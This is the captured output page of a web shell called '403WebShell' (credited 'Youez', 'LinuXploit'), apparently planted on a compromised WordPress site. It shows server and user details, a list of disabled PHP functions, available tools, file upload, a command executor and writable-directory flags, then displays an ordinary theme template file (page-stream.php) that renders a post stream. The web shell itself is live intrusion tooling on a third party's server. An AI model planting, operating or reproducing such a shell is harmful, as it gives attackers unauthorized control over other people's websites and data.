AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/themes/archive-document/pageTemplates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/themes/archive-document/pageTemplates/page-stream.php
<?php
use B2\Modules\Common\Stream;
/**
 *Template Name: 信息流
*
*
*/
get_header();
$paged = isset($GLOBALS['wp_query']->query['paged']) ? $GLOBALS['wp_query']->query['paged'] : 1;

$content = b2_get_excerpt(get_the_ID());
?>

<div id="primary-home" class="stream-area">
    <?php if($content){ ?>
        <div class="home_row">
            <div class="wrapper">
                <?php the_content(); ?>
            </div>
        </div>
    <?php } ?>
    <div class="mg-t home_row">
        <div class="wrapper">
            <div class="home-row-left content-area box b2-radius" >
                <div id="b2-stream" ref="b2stream" data-paged="<?php echo $paged; ?>" data-author="0">
                    <div class="gujia" ref="gujia">
                        <?php

                            $count = get_option('posts_per_page');

                            $offset = ($paged -1)*$count;

                            $args = array(
                                'post_type'=>apply_filters('b2_stream_post_type', array(
                                    'post','circle','document','newsflashes'
                                )),
                                'posts_per_page' => $count,
                                'orderby' => 'date',
                                'offset'=>$offset,
                                'post_status'=>'publish',
                                'include_children' => true,
                                'paged'=>$paged
                            );

                            $the_query = new \WP_Query( $args );

                            $post_data = array();
                            $_pages = 1;
                            $_count = 0;

                            if ( $the_query->have_posts() ) {

                                $_pages = $the_query->max_num_pages;
                                $_count = $the_query->found_posts;

                                while ( $the_query->have_posts() ) {

                                    $the_query->the_post();

                                    ?>
                                    <article class="stream-article post-type-post">
                                        <header class="item-header">
                                            <div class="s-a-h">
                                                <div class="sah-l">
                                                    <span class="sah-avatar"></span>
                                                    <span class="sah-name"></span>
                                                    <span class="sah-date"></span>
                                                </div>
                                                <div class="sah-r">
                                                    <div class="sah-type"></div>
                                                    <div class="sah-catlist"></div>
                                                </div>
                                            </div>
                                        </header>
                                        <div class="s-a-c">
                                            <div class="s-a-c-l">
                                                <h2><a href="<?php echo get_permalink();?>" target="_blank" class="b2-out"><?php echo get_the_title(); ?></a></h2>
                                                <div class="item-content">
                                                    <div class="b2-out"></div>
                                                </div>
                                            </div>
                                            <div class="s-a-c-r"></div>
                                        </div>
                                        <div class="s-a-f">
                                            <div class="saf-z">
                                                <button></button>
                                                <button></button>
                                            </div>
                                            <div class="saf-c">
                                                <span class="saf-share"></span>
                                                <span class="saf-comment"></span>
                                            </div>
                                        </div>
                                    </article>
                                    <?php

                                }
                                wp_reset_postdata();
                            }

                        ?>
                    </div>
                    <div v-if="data !== ''" v-cloak>
                        <template v-for="(item,index) in data" :key="index">
                            <article :class="'stream-article st-'+item.data.terms.post_type.type" v-if="item.data.terms.post_type.type == 'post'">
                                <?php echo get_template_part( 'TempParts/stream/post'); ?>
                            </article>
                            <article :class="'stream-article st-'+item.data.terms.post_type.type" v-else-if="item.data.terms.post_type.type == 'circle'">
                                <?php echo get_template_part( 'TempParts/stream/circle'); ?>
                            </article>
                            <article :class="'stream-article st-'+item.data.terms.post_type.type" v-else-if="item.data.terms.post_type.type == 'document'">
                                <?php echo get_template_part( 'TempParts/stream/document'); ?>
                            </article>
                            <article :class="'stream-article st-'+item.data.terms.post_type.type" v-else-if="item.data.terms.post_type.type == 'newsflashes'">
                                <?php echo get_template_part( 'TempParts/stream/newsflashes'); ?>
                            </article>
                            <article :class="'stream-article st-'+item.data.terms.post_type.type" v-else-if="item.data.terms.post_type.type == 'shop'">
                                <?php echo get_template_part( 'TempParts/stream/shop'); ?>
                            </article>
                        </template>
                    </div>
                </div>
                <div class="b2-pd">
                    <?php echo b2_pagenav(array('pages'=>$_pages,'paged'=>$paged)); ?>
                </div>
            </div>
            <?php 
                get_sidebar(); 
            ?>
        </div>
    </div>
</div>

<?php
get_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit